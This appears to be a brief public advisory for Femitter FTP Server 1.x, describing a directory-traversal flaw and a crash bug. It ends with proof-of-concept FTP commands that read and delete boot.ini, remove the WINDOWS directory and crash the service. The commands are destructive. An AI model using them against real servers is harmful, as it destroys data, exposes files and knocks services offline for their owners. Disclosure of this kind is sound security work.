Femitter Server FTP 1.x Multiple Vulnerability
|
|
----------------------------------------------------
|
|
|
|
Arbitrary:
|
|
----------
|
|
The vulnerability is caused due to an input validation error when processing FTP requests. This can be
|
|
exploited to read, modify, or delete arbitrary files from the affected system via directory traversal
|
|
attacks.
|
|
|
|
Remote Crash:
|
|
-------------
|
|
The vulnerability is caused due to an error in handling the RETR command. This can be exploited to crash
|
|
the FTP service by sending the "RETR" command without sending the "PORT" command.
|
|
--------------------------------------------------------------------------------------------------------
|
|
|
|
FTP Service:
|
|
------------
|
|
You can delet file boot.ini => DELE ../../boot.ini
|
|
You can get file boot.ini => RETR ../../boot.ini
|
|
You can creat Directory => MKD ../../poc
|
|
You can delet Directory => RMD ../../WINDOWS
|
|
You can crash service => (RETR 0)x2
